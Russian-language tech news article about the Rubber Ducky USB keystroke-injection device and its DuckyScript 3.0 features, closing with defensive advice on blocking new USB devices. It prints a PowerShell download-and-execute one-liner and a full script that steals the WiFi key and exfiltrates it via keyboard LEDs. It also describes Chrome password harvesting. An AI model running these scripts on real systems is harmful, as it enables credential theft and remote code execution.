Флешка Rubber Ducky стала ещё опаснее

0h4oea1m_siiwjb69_kgta_vgcw.jpeg

Rubber Ducky — известное хакерское устройство, давно знакомое специалистам по информационной безопасности (и любителям сериала Mr. Robot). Первая версия вышла более десяти лет назад. С виду обычная флешка при подключении выдаёт себя за USB-клавиатуру и запускает произвольный скрипт. Это позволяет проводить необычные атаки, которые сложно обнаружить с помощью антивируса.

Атака Rubber Ducky — просто последовательность нажатий клавиш (чтобы открыть консоль и ввести в ней некоторые команды).
Например, можно вывести на экран всплывающее окно авторизации Windows.

dfnnw5gx-muggxb6aezc9la2ts4.jpeg

6nqpv83gdcvqd9lebtostpulmsq.jpeg

На самом деле это последовательность клавиш, которые «набраны» на фейковой клавиатуре:

powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl


Никаких вредоносных файлов на флешке нет. Это просто «клавиатура», на которой просто «нажимаются» определённые кнопки.

Вот другой скрипт, который открывает PowerShell и собирает сохранённые пароли из браузера Chrome. Можно сохранить их на флешке или отправить на сервер под видом GET-запросов headless-браузера Chrome, чтобы не вызвать подозрения со стороны антивируса. Так это выглядит на компьютере жертвы:

6cwdj5mfqgff2ciarkfwghkzie4.gif

То есть схема атаки понятна:

  1. Флешка вставляется в компьютер
  2. В системе регистрируется новая USB-клавиатура
  3. На исполнение автоматически запускается скрипт, который представляет собой одну конкретную последовательность нажатий клавиш.


Из-за такой ограниченной функциональности раньше каждую атаку приходилось тщательно готовить. Нужно было собрать информацию о конкретном компьютере, в который будет вставлена флешка: какая там операционная система и программное окружение. Потому что на флешку записывается только один конкретный скрипт на исполнение, а в нём — жёстко прописанная последовательность символов, которые вводятся в консоль.

enygi__ddv8odx1yfs-8gfumbne.jpeg

Но сейчас разработчик Даррен Китхен значительно расширил функциональность устройства, так что оно стало гораздо опаснее. Самое главное, флешка теперь поддерживает скриптовый язык DuckyScript 3.0.

DuckyScript 3.0 — полноценный язык программирования, позволяющий писать нормальные функции, хранить переменные и использовать условные переходы.

Например, новая Ducky может определить версию операционной системы (Windows или Mac), выполнить соответствующий код для каждой системы или отключиться, если цель не соответствует условиям.

kn6wwyt1saw_s5gzx-ouj6tiate.png

Скрипты теперь могут генерировать псевдослучайные числа и использовать их для добавления переменной задержки между нажатиями клавиш. Это создаёт «человеческий эффект» при вводе команд в консоли. Устройство самостоятельно выполняет брутфорс паролей и декодирует хеши.

Ещё одна удобная инновация — флешка теперь умеет кодировать пароли в двоичный формат и передавать их по трёхбитному каналу морганием светодиодов CapsLock, NumLock и ScrollLock на клавиатуре.

hkotffn6wu6jigr9-nyxv-3dgnw.jpeg

Функция Keystroke Reflection реализована на основе научной работы 2019 года (Мордехай Гурий, Дима Быховский и др.).

Демонстрация Keystroke Reflection и пример кода
REM Example Simple Keystroke Reflection Attack for Windows
REM Saves currently connected wireless LAN profile to DUCKY
ATTACKMODE HID
LED_OFF
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_EXFIL_MODE_ENABLED = TRUE
$_EXFIL_LEDS_ENABLED = TRUE

REM Store the currently connected WiFi SSID & Key to %tmp%\z
GUI r
DELAY 100
STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\z"
DELAY 100

REM Convert the stored creds into CAPSLOCK and NUMLOCK values.
GUI r
DELAY 100
STRINGLN powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"
DELAY 100

REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.
GUI r
DELAY 100
STRINGLN powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"
DELAY 100

REM The final SCROLLLOCK keystroke indicates EXFIL is complete.
WAIT_FOR_SCROLL_CHANGE
LED_G
$_EXFIL_MODE_ENABLED = FALSE
RESTORE_HOST_KEYBOARD_LOCK_STATE

qkudgko5dk2odvf3cuhbj0yyko4.gif


Для подготовки вредоносных нагрузок разработана онлайновая Web-IDE, в которой можно протестировать скрипты, скомпилировать и подготовить для записи на флешку. В специализированном канале Hak5 Discord начинающие хакеры делятся советами и опытом. Набираются классы для онлайн-курсов. На официальном сайте есть также каталог скриптов на любые случаи. Например, этот скрипт запускает скрытую консоль, заходит в сетевые свойства Windows (control.exe /name Microsoft.NetworkAndSharingCenter), делает скриншот пароля WiFi (кнопка PrnScr) и отправляет его в Dropbox.

Вообще, за последние десять лет выпущено несколько модификаций Rubber Ducky, но последние обновления кардинально расширяют его возможности, так что специалистам по информационной безопасности следует учитывать этот вектор атаки.

«Забытые» флешки


nsjncwobgv9lj95cmci3d_zwiq4.jpeg

То есть нужно понимать, что обычная с виду «забытая» флешка может выдать себя за USB-клавиатуру и выполнить в системе произвольные команды от лица залогиненного пользователя. Это фундаментальная уязвимость (фича), которой подвержены все операционные системы, включая Windows, macOS и Linux. Для защиты можно аппаратно или программно блокировать подключение новых устройств по USB. Например, такая функция поддерживается в Qubes OS.


ov_b18qn7ngrggenemaofkgwyby.png

© Habrahabr.ru